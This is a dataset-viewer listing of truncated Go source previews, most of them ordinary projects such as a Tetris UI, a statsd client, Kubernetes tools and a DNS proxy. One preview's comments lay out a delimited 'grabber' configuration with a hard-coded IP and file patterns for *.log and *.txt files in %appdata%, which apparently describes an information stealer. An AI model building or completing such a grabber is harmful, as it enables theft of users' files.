text stringlengths 3.08k 10.4k |
|---|
package ui
import (
"fmt"
"github.com/gdamore/tcell"
"image"
"github.com/nikarh/gotromino/game"
)
var options = struct {
shadows bool
}{
shadows: true,
}
func Init() (*Screen, error) {
screen, err := tcell.NewScreen()
if err != nil {
return nil, err
}
return &Screen{screen}, nil
}
func NewGame(screen ... |
package network
import (
"context"
"github.com/jabolina/go-mcast/pkg/mcast/helper"
"github.com/jabolina/go-mcast/pkg/mcast/protocol"
"github.com/jabolina/go-mcast/pkg/mcast/types"
"io"
)
// Network interface that a single peer must implement.
type Network interface {
io.Closer
// Command Issues a request to t... |
package aws_test
import (
envoyapi "github.com/envoyproxy/go-control-plane/envoy/api/v2"
"github.com/gogo/protobuf/types"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/solo-io/gloo-plugins/aws"
"github.com/solo-io/gloo/pkg/plugin"
"github.com/solo-io/gloo-api/pkg/api/types/v1"
)
var _ = ... |
//go:build !windows
package client
import (
"context"
"encoding/json"
"fmt"
"runtime"
"strings"
"time"
log "github.com/sirupsen/logrus"
"github.com/pglet/pglet/internal/page"
"github.com/pglet/pglet/internal/page/command"
"github.com/pglet/pglet/internal/utils"
)
const (
pageChangeEventPrefix = "page ch... |
/*
Copyright 2021 The Vitess Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... |
// Copyright (c) 2019 Uber Technologies, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law o... |
package socksinterface
import (
"bytes"
"fmt"
"github.com/txthinking/socks5"
"github.com/xiaokangwang/VLite/ass/udpconn2tun"
"github.com/xiaokangwang/VLite/ass/udptlssctp"
"io"
"io/ioutil"
"net"
"runtime"
"strconv"
"sync"
"sync/atomic"
"time"
)
func NewSocksHandler(uc udptlssctp.TCPSocketDialer, udpa *ud... |
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strconv"
)
type esClient struct {
Host string
}
func (esc *esClient) GetAllocations() ([]allocation, error) {
resp, err := http.Get(esc.Host + "/_cat/allocation?format=json&bytes=b")
if err != nil {
fmt.Println(err)
panic(err)
}
defer... |
package node
import (
"context"
"errors"
"github.com/NJUPT-ISL/NodeSimulator/pkg/util"
apierrors "k8s.io/apimachinery/pkg/api/errors"
"k8s.io/apimachinery/pkg/types"
"k8s.io/apimachinery/pkg/util/runtime"
"k8s.io/apimachinery/pkg/util/wait"
cov1 "k8s.io/api/coordination/v1"
v1 "k8s.io/api/core/v1"
metav1 "k... |
// Copyright 2015-2017 the u-root Authors. All rights reserved
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package find searches for files in a directory hierarchy recursively.
//
// find can filter out files by file names, paths, and modes.
package find
... |
package main
import (
"fmt"
"io/ioutil"
"math"
"os"
"github.com/aporia-ai/kubesurvival/v2/pkg/kubesimulator"
"github.com/aporia-ai/kubesurvival/v2/pkg/nodesource"
"github.com/aporia-ai/kubesurvival/v2/pkg/parser"
"github.com/aporia-ai/kubesurvival/v2/pkg/podgen"
"gopkg.in/yaml.v2"
v1 "k8s.io/api/core/v1"
"... |
package rabbitmqworker
import (
"context"
"fmt"
"log"
"reflect"
"sync"
"github.com/golangid/candi/candihelper"
"github.com/golangid/candi/codebase/factory"
"github.com/golangid/candi/codebase/factory/types"
"github.com/golangid/candi/config/env"
"github.com/golangid/candi/logger"
"github.com/golangid/candi... |
package dnsproxy
import (
"net"
"strings"
"github.com/golang/glog"
"github.com/miekg/dns"
"github.com/pkg/errors"
)
func ServeDNS(laddr string) error {
if ok := _DEFAULT_GLOBALS_VALIDATOR.validate(); !ok {
return errors.New("global vars are uninitialized")
}
return serveDNS(laddr)
}
func serveDNS(laddr st... |
package statsd
import (
"errors"
"fmt"
"log"
"math/rand"
"net"
"strings"
"sync"
"time"
)
const metricTypeCount = "c"
const metricTypeGauge = "g"
const metricTypeTiming = "ms"
const metricTypeSet = "s"
// The Client type
type Client struct {
host string
port int
conn ... |
package structfields
import (
"fmt"
"go/ast"
"go/token"
"strconv"
"strings"
"golang.org/x/tools/go/packages"
)
// StructType contains details about a struct and it's fields.
type StructType struct {
Doc string
Name string
Directives []string
Fields []*FieldType
}
// FieldType contains inf... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: prodService.proto
package models
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a com... |
package main
import (
"context"
goHttp "net/http"
"os"
"os/signal"
"strings"
"syscall"
dockerContainer "github.com/docker/docker/api/types/container"
golog "log"
"github.com/containerssh/auth"
"github.com/containerssh/configuration/v2"
"github.com/containerssh/http"
"github.com/containerssh/log"
"githu... |
package ddcloud
import (
"fmt"
"log"
"strings"
"github.com/DimensionDataResearch/go-dd-cloud-compute/compute"
"github.com/hashicorp/terraform/helper/schema"
)
const (
resourceKeyNetworkDomainFirewallRuleType = "type"
resourceKeyNetworkDomainFirewallRuleEnabled = "enabled"
)
const defaultFirewallRulePrefix... |
// Copyright 2019-present Open Networking Foundation.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applica... |
package config
import (
"errors"
"fmt"
"os"
"regexp"
"gopkg.in/yaml.v2"
)
var defaultDelayToKill = 1000
var defaultConfigFilePaths = []string{
"wrun.yaml",
"wrun.yml",
}
var alwaysIgnoreRegExps = []*regexp.Regexp{
regexp.MustCompile("wrun\\.(?:(?:yml)|(?:yaml))$"),
regexp.MustCompile("(?:^\\..*)|(?:/\\.)")... |
package exporter
import (
"context"
"net/http"
"net/http/pprof"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/go-redis/redis/v8"
"github.com/heptiolabs/healthcheck"
"github.com/pkg/errors"
log "github.com/sirupsen/logrus"
"github.com/vmihailenco/taskq/v3"
"github.com/vmihailenco/taskq/v3/memqueue... |
package api
import (
"encoding/json"
"go-image-board/config"
"go-image-board/database"
"go-image-board/interfaces"
"go-image-board/logging"
"go-image-board/routers"
"net"
"net/http"
"strconv"
"strings"
"time"
"github.com/gorilla/csrf"
)
//ErrorResponse used to marshal error text for JSON parsing
type Err... |
package event
import (
"fmt"
"math/rand"
"reflect"
"time"
)
type worker struct {
workerID string
enqueuer *Publisher
poolID string
namespace string
consumerTypes map[string]*consumerType
consumers map[string]*consumer
middleware []*middlewareHandler
contextType reflect.Type
... |
package j1
import (
"bytes"
"context"
"encoding/binary"
"fmt"
)
// Console i/o
type Console interface {
Read() uint16
Write(uint16)
Len() uint16
Stop()
}
// Core of J1 Forth CPU
//
// 33 deep × 16 bit data stack
// 32 deep × 16 bit return stack
// 13 bit program counter
// memory is 16 bit wide and addre... |
package keyformat
import (
"encoding/hex"
"testing"
"github.com/stretchr/testify/require"
"github.com/oasisprotocol/oasis-core/go/common"
"github.com/oasisprotocol/oasis-core/go/common/crypto/hash"
"github.com/oasisprotocol/oasis-core/go/common/crypto/signature"
)
func TestKeyFormat(t *testing.T) {
fmt1 := N... |
// Package etherkeyms utilises the Key Management Service (KMS) from the Google
// Cloud Platform (GCP) for Ethereum operations.
package etherkeyms
import (
"context"
"crypto/x509/pkix"
"encoding/asn1"
"encoding/pem"
"fmt"
"math/big"
kms "cloud.google.com/go/kms/apiv1"
btcecdsa "github.com/btcsuite/btcd/btcec... |
// Copyright 2021 VMware, Inc. All Rights Reserved.
// SPDX-License-Identifier: Apache-2.0
package tkgctl
import (
"fmt"
"os"
"path/filepath"
"github.com/pkg/errors"
"github.com/vmware-tanzu/tanzu-framework/pkg/v1/tkg/constants"
"github.com/vmware-tanzu/tanzu-framework/pkg/v1/tkg/log"
"github.com/vmware-tanz... |
/*
* Copyright (c) 2022, MegaEase
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... |
package ml
import (
"bytes"
"encoding/gob"
"encoding/json"
"fmt"
"math"
"gonum.org/v1/gonum/mat"
)
// LR implements LinearRegression
type LR struct {
weights *mat.VecDense
LearningRate float64
err float64
Ntrain int
instances int
}
func (lr *LR) gradient(x *mat.Dense, y, p, out *ma... |
package engine
import (
"context"
"sync"
"github.com/consensys/orchestrate/pkg/types/tx"
"github.com/consensys/orchestrate/pkg/errors"
"github.com/consensys/orchestrate/pkg/toolkit/app/log"
ierror "github.com/consensys/orchestrate/pkg/types/error"
)
// Envelope is the most important part of an engine.
// It a... |
//
// Copyright (c) 2020 Volterra, Inc. Licensed under APACHE LICENSE, VERSION 2.0
//
package volterra
import (
"fmt"
"os"
"testing"
"github.com/hashicorp/terraform-plugin-sdk/helper/resource"
ves_io_schema_k8s_cluster "github.com/volterraedge/terraform-provider-volterra/pbgo/extschema/schema/k8s_cluster"
ves_i... |
package worker
import (
"context"
"fmt"
"syscall"
"time"
"github.com/dustin/go-humanize"
"github.com/shirou/gopsutil/mem"
lpb "github.com/thought-machine/please-servers/proto/lucidity"
)
// Report reports to Lucidity how this worker currently considers itself.
// If a Lucidity server hasn't been configured, ... |
package jwt
import (
"fmt"
"github.com/lestrrat-go/jwx/internal/json"
"github.com/lestrrat-go/jwx/jwa"
"github.com/lestrrat-go/jwx/jwe"
"github.com/lestrrat-go/jwx/jws"
"github.com/pkg/errors"
)
type SerializeCtx interface {
Step() int
Nested() bool
}
type serializeCtx struct {
step int
nested bool
}
f... |
package main
import (
"encoding/base64"
"flag"
"fmt"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"github.com/fatih/color"
)
// __DELIMM__ x 6
// __GRABBER__ x 8
// 1111110011101010__DELIMM__45.67.89.99__DELIMM__appdata__GRABBER__*.log,*.txt,__GRABBER__%appdata%__GRABBER__0__GRAB... |
// Copyright 2016 Qubit Digital Ltd.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
package handler
import (
"net/http"
"net/url"
"strings"
"time"
"github.com/nspcc-dev/neofs-s3-gw/api"
"github.com/nspcc-dev/neofs-s3-gw/api/data"
"github.com/nspcc-dev/neofs-s3-gw/api/errors"
"github.com/nspcc-dev/neofs-s3-gw/api/layer"
"go.uber.org/zap"
)
type copyObjectArgs struct {
Conditional *co... |
package manager // import "github.com/docker/infrakit/pkg/manager"
import (
"testing"
"github.com/docker/infrakit/pkg/plugin"
"github.com/docker/infrakit/pkg/spi/group"
"github.com/docker/infrakit/pkg/types"
"github.com/stretchr/testify/require"
)
type fakeSnapshot struct {
SaveFunc func(interface{}) error
Lo... |
package app
import (
"encoding/json"
"fmt"
"io"
"net/http"
"sort"
"text/tabwriter"
"time"
"code.cloudfoundry.org/cli/plugin/models"
"code.cloudfoundry.org/noisy-neighbor-nozzle/pkg/collector"
"code.cloudfoundry.org/noisy-neighbor-nozzle/pkg/store"
"code.cloudfoundry.org/cli/plugin"
)
// LogNoise reports... |
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package x11driver
// TODO: implement a back buffer.
import (
"image"
"image/color"
"image/draw"
"sync"
"github.com/BurntSushi/xgb"
"github.com/BurntSus... |
// Copyright (c) 2021 <NAME>, Inc.
// See LICENSE for copying information.
package main
import (
"errors"
"flag"
"fmt"
"io"
"os"
"time"
"github.com/go-logr/zapr"
"go.uber.org/zap"
"go.uber.org/zap/zapcore"
"storj.io/utp-go/libutp"
"storj.io/utp-go/libutp/utp_file"
)
var (
logger *zap.Logger
debug = f... |
// +build darwin
package main
import (
"bufio"
"log"
"os/exec"
"reflect"
"strconv"
"strings"
"time"
)
func NewTop(interval int) *Top {
// Processes: 306 total, 2 running, 2 stuck, 302 sleeping, 1772 threads
// 2016/11/20 20:18:55
// Load Avg: 1.36, 1.41, 1.35
// CPU usage: 3.70% user, 22.22% sys, 74.7% id... |
// Package collaborativepermute implements an online collaborative permutation
// learner.
//
// In many machine learning problems, we seek to learn how much various people
// prefer a varied set of objects. Using the accelerated Trace norm prediction
// algorithm from (Wang KDD '14), we can both generate directed que... |
// Package conn holds the connection to the Keyvault server and provides a single RPC call type.
package conn
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"reflect"
"github.com/Azure/go-autorest/autorest"
"github.com/google/uuid"
)
// Conn provides connectivity t... |
package phpfuncs
import (
"fmt"
"math"
"reflect"
"sort"
"strings"
)
// ArraySlice type -- Required for ArrayChunk
type ArraySlice []interface{}
// Array - Create an array
//
// Original : https://www.php.net/manual/en/function.array.php
func Array(v ...interface{}) []interface{} {
return v
}
// ArrayKeys - Re... |
package rtmp
import (
"fmt"
"sync"
"time"
"github.com/AdmiralBulldogTv/VodTransmuxer/src/av"
"github.com/AdmiralBulldogTv/VodTransmuxer/src/protocol/rtmp/cache"
"github.com/sirupsen/logrus"
)
var (
EmptyID = ""
)
type RtmpStream struct {
streams *sync.Map
}
func NewRtmpStream() *RtmpStream {
ret := &RtmpS... |
package client
import (
"context"
"google.golang.org/grpc/credentials"
pb "github.com/textileio/textile/api/pb"
"google.golang.org/grpc"
)
// Auth is used to supply the client with authorization credentials.
type Auth struct {
Token string
Scope string // user or team ID
}
// Client provides the client api.
... |
package ble
import (
"errors"
"time"
"io"
"net"
"os"
)
type Request struct {
msg []byte
device *Device
}
type Manager struct {
Devices map[string]*Device
globalHandleOffset int
requestChan chan Request
hciSock *os.File
}
func NewManager(hciSock *os.File) (*Manager) {
return &Manager{make... |
package proxy
import (
"context"
"fmt"
"io"
"net"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p-core/host"
"github.com/libp2p/go-libp2p-core/network"
"github.com/libp2p/go-libp2p-core/protocol"
"github.com/libp2p/go-msgio/protoio"
"k8s.io/klog/v2"
"github.com/kubeedge/edgemesh/agent/pkg/tunnel/co... |
package main
import (
"fmt"
"strings"
"time"
"github.com/dustin/go-humanize"
"github.com/hako/durafmt"
"github.com/logrusorgru/aurora/v3"
"github.com/shirou/gopsutil/v3/cpu"
"github.com/shirou/gopsutil/v3/disk"
"github.com/shirou/gopsutil/v3/host"
"github.com/shirou/gopsutil/v3/load"
"github.com/shirou/gop... |
package alerting
import (
"bytes"
"fmt"
"strings"
"text/template"
"time"
"github.com/grafana/grafana/pkg/api"
"github.com/grafana/grafana/pkg/bus"
m "github.com/grafana/grafana/pkg/models"
"github.com/grafana/grafana/pkg/setting"
)
// Job is a job for an alert execution
// note that LastPointTs is a time de... |
package log
import (
"io"
"github.com/sirupsen/logrus"
)
// Fields type, used to pass to `WithFields`.
type Fields logrus.Fields
var (
// L keeps the global logrus logger
L = logrus.NewEntry(logrus.StandardLogger())
)
// SetOutput sets the logrus logger output.
func SetOutput(out io.Writer) {
logrus.SetOutput... |
package controller
import (
"fmt"
"strings"
"github.com/golang/glog"
core "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/client-go/tools/reference"
kutil "kmodules.xyz/client-go"
meta_util "kmodules.xyz/client-go/meta"
"kmodules.xyz/client-go/tools/queue"
appCatalog "kmodules.xyz... |
package testhttpclient
import (
"bufio"
"bytes"
"context"
"encoding/json"
"encoding/xml"
"fmt"
"io"
"net/http"
"strconv"
"strings"
"github.com/onsi/gomega"
)
// TestingT is a simple *testing.T interface wrapper
type TestingT interface {
Fatalf(format string, args ...interface{})
Helper()
}
const (
Con... |
package main
import (
"bufio"
"errors"
"flag"
"os"
"os/exec"
"path/filepath"
"strconv"
"time"
)
func main() {
flagrectime := flag.Duration("t", 10, "Recording duration in minutes (1-60, default: 10).\nExample: -t 2")
flagdblvl := flag.Int("d", 0, "dB value to trigger recording (30-90, default: Cam dB settin... |
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v3.19.2
// source: playground.proto
package pb
import (
context "context"
grpc "google.golang.org/grpc"
codes "google.golang.org/grpc/codes"
status "google.golang.org/grpc/status"
)
// This i... |
package main
import (
"encoding/json"
"errors"
"fmt"
"github.com/gosuri/uitable"
"github.com/spf13/cobra"
"gopkg.in/resty.v1"
"io"
"os"
"regexp"
"strconv"
"strings"
"time"
)
const (
longDesc = `
查看當日公司員工在哪兒
$ slctl whereis
可以使用員工姓名(模糊查詢)過濾資料
$ slctl whereis matt
傳入 '--from' 或 '--to' 可以用日期區間過濾
日期格式為... |
/*
Copyright 2020 VMware, Inc.
SPDX-License-Identifier: Apache-2.0
*/
package command
import (
"fmt"
"net/url"
"github.com/spf13/cobra"
"github.com/vmware-tanzu/sources-for-knative/pkg/apis/sources/v1alpha1"
"github.com/vmware-tanzu/sources-for-knative/plugins/vsphere/pkg"
corev1 "k8s.io/api/core/v1"
metav1 "... |
package upload
import (
"bytes"
"errors"
"image"
"image/color"
"image/draw"
"image/jpeg"
"image/png"
"io"
"os"
"path"
"strings"
)
//图片裁剪加水印
type ImageCut struct {
rawImage image.Image //原始img资源
handleImage image.Image //正在处理的img资源
err error //排除当前错误
}
//通过文件创建图片裁剪对象
func NewImageCutRea... |
// Code generated by protoc-gen-go. DO NOT EDIT.
// source: define.proto
package talk
import (
fmt "fmt"
proto "github.com/golang/protobuf/proto"
math "math"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-ti... |
package main
import (
"flag"
"fmt"
"image"
"image/color"
"image/png"
"log"
"math"
"os"
"strconv"
)
var opt struct {
gradient string
width int
height int
pal []color.RGBA
}
func main() {
log.SetFlags(0)
log.SetPrefix("gen-color-gradient: ")
parseflags()
m := image.NewRGBA(image.Rect(0, 0, ... |
// Copyright (c) 2003-2005 <NAME>. All rights reserved.
// Copyright (c) 2006-2015 Sippy Software, Inc. All rights reserved.
// Copyright (c) 2015 <NAME>. All rights reserved.
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that... |
package starlark
import (
"context"
"awans.org/aft/internal/auth"
"awans.org/aft/internal/db"
"github.com/google/uuid"
)
// Model
var StarlarkFunctionModel = db.MakeModel(
db.MakeID("c8a17195-b784-4a68-85f4-b4edbfa43174"),
"starlarkFunction",
[]db.AttributeL{
sfName,
sfCode,
sfArity,
sfType,
},
[]d... |
package youtube
import (
"encoding/json"
"errors"
"io"
"net/http"
"net/url"
"os"
"regexp"
"sort"
"strings"
)
// Stream represents a meta-data container that also contains the link
// to the actual youtube video data.
type Stream struct {
// to be honest I don't know what this is but it's important for
// d... |
// Copyright 2022 gengliqi.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in wr... |
// Copyright 2014 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable... |
// Copyright (c) <NAME> and contributors. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for details.
package lua
import (
"errors"
"fmt"
"reflect"
"sync"
"github.com/yuin/gopher-lua"
)
var (
errFuncInput = errors.New("lua: function input arguments must be of typ... |
package app
import (
"context"
"flag"
"math"
"net"
"os"
"time"
"github.com/ash2k/iam4kube/pkg/ip2service"
"github.com/ash2k/iam4kube/pkg/util/logz"
"github.com/ash2k/stager"
"github.com/coreos/go-iptables/iptables"
"github.com/pkg/errors"
"github.com/prometheus/client_golang/prometheus"
"go.uber.org/zap"... |
// Code generated by go-swagger; DO NOT EDIT.
package operations
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"net/http"
"time"
"golang.org/x/net/context"
"github.com/go-openapi/errors"
"github.com/go-openapi/runt... |
package passwordless
import (
"fmt"
"testing"
"time"
"github.com/stretchr/testify/assert"
"context"
)
type testTransport struct {
token string
recipient string
err error
}
func (t *testTransport) Send(ctx context.Context, token, user, recipient string) error {
t.token = token
t.recipient = recip... |
/*
Copyright © 2022 University of Pennsylvania <support@server>>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or... |
package okapi
import (
"flag"
"fmt"
"log"
"path/filepath"
"github.com/bazelbuild/bazel-gazelle/config"
"github.com/bazelbuild/bazel-gazelle/label"
"github.com/bazelbuild/bazel-gazelle/language"
"github.com/bazelbuild/bazel-gazelle/repo"
"github.com/bazelbuild/bazel-gazelle/resolve"
"github.com/baz... |
// Copyright 2017 fatedier, <EMAIL>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed ... |
// © 2013 the AlePale Authors under the WTFPL. See AUTHORS for the list of authors.
package plugins
import (
"fmt"
"github.com/chrissexton/alepale/bot"
"labix.org/v2/mgo"
"labix.org/v2/mgo/bson"
"strings"
)
// This is a counter plugin to count arbitrary things.
type CounterPlugin struct {
Bot *bot.Bot
Coll ... |
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
package main
import (
"context"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
"github.com/yizha/elastic"
"golang.org/x/crypto/bcrypt"
)
type TestCase interface {
Desc() string
Run() error
}
func RunTestCase(c TestCase) error {
fmt.Printf(" [%s] ... ", c.... |
package goka
import (
"errors"
"fmt"
"strings"
"time"
"github.com/Shopify/sarama"
"github.com/lovoo/goka/multierr"
)
// TopicManager provides an interface to create/check topics and their partitions
type TopicManager interface {
// EnsureTableExists checks that a table (log-compacted topic) exists, or create ... |
/*
Package calsync helps sync events into a Google Calendar.
Syncing the same set of events into a google calendar a second time
will have no effect if the events have not been modified in google
calendar. If the events have been modified in google calendar and
then are imported again, they will be overwritten, in ge... |
package huya
import (
"encoding/base64"
"encoding/json"
"fmt"
"html"
"regexp"
"strings"
"time"
)
// Info illustrates a live room.
type Info struct {
On bool
Name string
Title string
Stream []string
}
// StreamAPI illustrates huya hyPlayerConfig.stream .
type StreamAPI struct {
Status int `js... |
package kafka
import (
"context"
"fmt"
"log"
"os"
"os/signal"
"strconv"
"time"
pb2 "protoc/gossip"
"github.com/Shopify/sarama"
"github.com/gogo/protobuf/proto"
"google.golang.org/grpc"
)
const (
gossipAddress = "10.20.24.26"
gossipPort = ":50052"
)
var producer sarama.AsyncProducer
var gossipClient... |
package notifications
import (
"github.com/containrrr/shoutrrr/pkg/types"
"github.com/containrrr/watchtower/internal/actions/mocks"
"github.com/containrrr/watchtower/internal/flags"
s "github.com/containrrr/watchtower/pkg/session"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/gby... |
// Copyright (c) 2020 Cisco and/or its affiliates.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by app... |
package chain
import "github.com/centrifuge/go-substrate-rpc-client/v4/types"
var (
//trade
BuySpaceTransactionName = "FileBank.buy_space"
UploadFileTransactionName = "FileBank.upload"
DeleteFileTransactionName = "FileBank.delete_file"
//find
PurchasedSpaceChainModule = "FileBank"
PurchasedSpaceModuleMetho... |
package ecspresso
import (
"context"
"fmt"
"strings"
"time"
"github.com/Songmu/prompter"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/arn"
"github.com/aws/aws-sdk-go/service/ecs"
"github.com/pkg/errors"
)
type DeregisterOption struct {
DryRun *bool
Keeps *int
Revision *int64
Force... |
package goengage
import (
"time"
)
//Constants for Engage endpoints.
const (
SearchSegment = "/api/integration/ext/v1/segments/search"
SegmentSearchMembers = "/api/integration/ext/v1/segments/members/search"
UpsertSegment = "/api/integration/ext/v1/segments"
DeleteSegment = "/api/integration... |
package core
import (
"bufio"
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"github.com/Wariie/go-woxy/tools"
"github.com/gin-gonic/gin"
"gopkg.in/yaml.v2"
)
func (c *Config) loadConfig(configPath string) {
if configPath == "" {
//EMPTY CONFIG FILE ... |
package connect
import (
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
"github.com/rs/zerolog/log"
"github.com/x-junkang/connected/internal/config"
"github.com/x-junkang/connected/internal/protocol"
"github.com/x-junkang/connected/pkg/ciface"
)
type ConnectionTCP struct {
sync.RWMutex
TCPServer cif... |
/*
Copyright 2020 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
/*
Copyright © 2021 <NAME> <<EMAIL>>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, softw... |
/*
Copyright 2017 Mirantis
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distri... |
// Package project implements different project GraphQL query resovlers required by the GraphQL transport layer
package project
import (
"context"
"errors"
"strings"
"github.com/decentralized-cloud/api-gateway/services/graphql/types"
"github.com/decentralized-cloud/api-gateway/services/graphql/types/edgecluster"... |
// Copyright 2018 <NAME>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, ... |
package catalogApp
import (
"fmt"
"os"
"path/filepath"
"go.polydawn.net/go-timeless-api"
"go.polydawn.net/reach/gadgets/catalog"
)
type Linter struct {
Tree catalog.Tree
WarnBehavior func(msg string, remedy func())
Rewrite bool
}
func (cfg Linter) Lint() error {
err := filepath.Walk(cfg.Tree.R... |
package main
import (
"context"
"crypto/tls"
"log"
"net"
"strconv"
"strings"
"sync"
"time"
"github.com/Xe/ln"
"github.com/element-of/harmond/internal"
"github.com/element-of/harmond/internal/numeric"
cmap "github.com/orcaman/concurrent-map"
"gopkg.in/irc.v1"
)
// NickSort normalizes a nickname for sorti... |
// Copyright 2019 The LUCI Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed... |
package handler
import (
"context"
"regexp"
"testing"
"time"
"github.com/DATA-DOG/go-sqlmock"
"github.com/golang/mock/gomock"
"github.com/google/go-cmp/cmp"
"github.com/jonboulle/clockwork"
"github.com/pkg/errors"
"github.com/stretchr/testify/assert"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/... |
// Copyright (c) 2016, 2018, 2021, Oracle and/or its affiliates. All rights reserved.
// This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose ei... |
package pageinfo
import (
"crypto/sha1"
"fmt"
"log"
"net/url"
"strings"
pl "github.com/PuerkitoBio/purell"
)
// URL holds information about a URL that has been upserted.
type URL struct {
CanonicalURL string
Input string
Sha1 string
}
type urlSpec struct {
suffix string
keepParams []st... |
// dynamic etc management based on etcd service
// each caller should provide
// 1. etcd addr, prefix
// 2. same constructor to unmarshal data from etcd
package dconf
import (
"context"
"fmt"
"path"
"strings"
"sync"
etcd "github.com/coreos/etcd/client"
)
// ErrorCode
const (
ErrorKeyNotFound = 100
)
// Erro... |
// Copyright 2016 IBM Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or... |
package propertypublickey
import (
"fmt"
vocab "github.com/go-fed/activity/streams/vocab"
"net/url"
)
// ActivityStreamsPublicKeyProperty is the functional property "publicKey". It is
// permitted to be a single nilable value type.
type ActivityStreamsPublicKeyProperty struct {
activitystreamsPublicKeyMember voca... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.